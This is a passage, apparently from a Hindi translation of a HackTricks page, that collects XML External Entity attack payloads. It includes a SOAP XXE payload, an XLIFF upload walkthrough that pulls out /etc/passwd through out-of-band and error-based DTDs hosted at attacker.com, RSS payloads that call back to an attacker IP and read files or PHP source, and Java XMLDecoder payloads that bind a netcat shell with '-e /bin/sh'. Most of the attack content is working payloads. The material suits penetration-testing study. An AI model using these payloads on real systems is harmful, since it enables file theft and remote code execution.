<user>&xxe;</user>
<pass>mypass</pass>
</creds>

SOAP - XEE

<soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]></foo></soap:Body>

XLIFF - XXE

यह उदाहरण https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe से प्रेरित है।

XLIFF (XML स्थानीयकरण अंतराल फ़ाइल प्रारूप) का उपयोग स्थानीयकरण प्रक्रियाओं में डेटा विनिमय को मानकीकृत करने के लिए किया जाता है। यह एक XML-आधारित प्रारूप है जिसका प्राथमिक उपयोग स्थानीयकरण के दौरान टूल्स के बीच स्थानीयकरणीय डेटा को स्थानांतरित करने के लिए और CAT (कंप्यूटर सहायिता अनुवाद) उपकरणों के लिए एक सामान्य विनिमय प्रारूप के रूप में प्रयोग किया जाता है।

अंधा अनुरोध विश्लेषण

निम्नलिखित सामग्री के साथ सर्वर को एक अनुरोध किया जाता है:

------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
Content-Type: application/x-xliff+xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY % remote SYSTEM "http://redacted.burpcollaborator.net/?xxe_test"> %remote; ]>
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--

हालांकि, यह अनुरोध एक आंतरिक सर्वर त्रुटि को ट्रिगर करता है, विशेष रूप से मार्कअप घोषणाओं के साथ समस्या का उल्लेख करता है:

{"status":500,"error":"Internal Server Error","message":"Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."}

गलती के बावजूद, Burp Collaborator पर एक हिट दर्ज किया गया है, जिससे बाहरी एंटिटी के साथ किसी स्तर के बातचीत का पता चलता है।

आउट ऑफ़ बैंड डेटा निकासी डेटा निकालने के लिए, एक संशोधित अनुरोध भेजा जाता है:

------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
Content-Type: application/x-xliff+xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd"> %remote; ]>
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--

यह दृष्टिकोण दिखाता है कि उपयोगकर्ता एजेंट का उपयोग जावा 1.8 का है। इस जावा संस्करण के साथ एक नोट की सीमा है कि आउट ऑफ बैंड तकनीक का उपयोग करके /etc/passwd जैसे न्यूलाइन वाले फ़ाइल्स को पुनः प्राप्त करने में असमर्थता है।

त्रुटि-आधारित डेटा उद्धारण इस सीमा को पार करने के लिए, एक त्रुटि-आधारित दृष्टिकोण का उपयोग किया जाता है। डीटीडी फ़ाइल निम्नलिखित ढंग से संरचित है ताकि एक त्रुटि को ट्रिगर करें जिसमें लक्षित फ़ाइल से डेटा शामिल हो।

<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/'>">
%foo;
%xxe;

सर्वर एक त्रुटि के साथ प्रतिक्रिया देता है, महत्वपूर्ण रूप से अस्तित्वहीन फ़ाइल को प्रतिबिम्बित करता है, जिससे प्रकट होता है कि सर्वर निर्दिष्ट फ़ाइल तक पहुँचने का प्रयास कर रहा है:

{"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"}

त्रुटि संदेश में फ़ाइल की सामग्री शामिल करने के लिए, DTD फ़ाइल को समायोजित किया जाता है:

<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/%data;'>">
%foo;
%xxe;

यह संशोधन फ़ाइल की सामग्री की सफल exfiltration में ले जाता है, क्योंकि यह HTTP के माध्यम से भेजे गए त्रुटि आउटपुट में प्रतिबिम्बित होता है। यह एक सफल XXE (XML External Entity) हमला दर्शाता है, जो संवेदनशील जानकारी निकालने के लिए Out of Band और Error-Based तकनीकों का उपयोग करता है।

RSS - XEE

XXE जोखिम का उपयोग करने के लिए मान्य XML जिसमें RSS प्रारूप है।

पिंग बैक

हमलावर्ग के सर्वर को सरल HTTP अनुरोध

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "http://<AttackIP>/rssXXE" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>XXE Test Blog</title>
<link>http://example.com/</link>
<description>XXE Test Blog</description>
<lastBuildDate>Mon, 02 Feb 2015 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>Test Post</description>
<author>author@example.com</author>
<pubDate>Mon, 02 Feb 2015 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>

फ़ाइल पढ़ें

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>a post</description>
<author>author@example.com</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>

स्रोत कोड पढ़ें

PHP base64 फ़िल्टर का उपयोग करके

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=file:///challenge/web-serveur/ch29/index.php" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>a post</description>
<author>author@example.com</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>

Java XMLDecoder XEE से RCE तक

XMLDecoder एक Java क्लास है जो एक XML संदेश पर आधारित ऑब्ज

<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
<object class="java.lang.Runtime" method="getRuntime">
<void method="exec">
<array class="java.lang.String" length="6">
<void index="0">
<string>/usr/bin/nc</string>
</void>
<void index="1">
<string>-l</string>
</void>
<void index="2">
<string>-p</string>
</void>
<void index="3">
<string>9999</string>
</void>
<void index="4">
<string>-e</string>
</void>
<void index="5">
<string>/bin/sh</string>
</void>
</array>
</void>
</object>
</java>

ProcessBuilder

प्रक्रिया निर्माता

<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="6">
<void index="0">
<string>/usr/bin/nc</string>
</void>
<void index="1">
<string>-l</string>
</void>
<void index="2">
<string>-p</string>
</void>
<void index="3">
<string>9999</string>
</void>
<void index="4">
<string>-e</string>
</void>
<void index="5">
<string>/bin/sh</string>
</void>
</array>
<void method="start" id="process">
</void>
</void>
</java>

उपकरण

{% embed url="https://github.com/luisfontes19/xxexploiter" %}

संदर्भ

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके: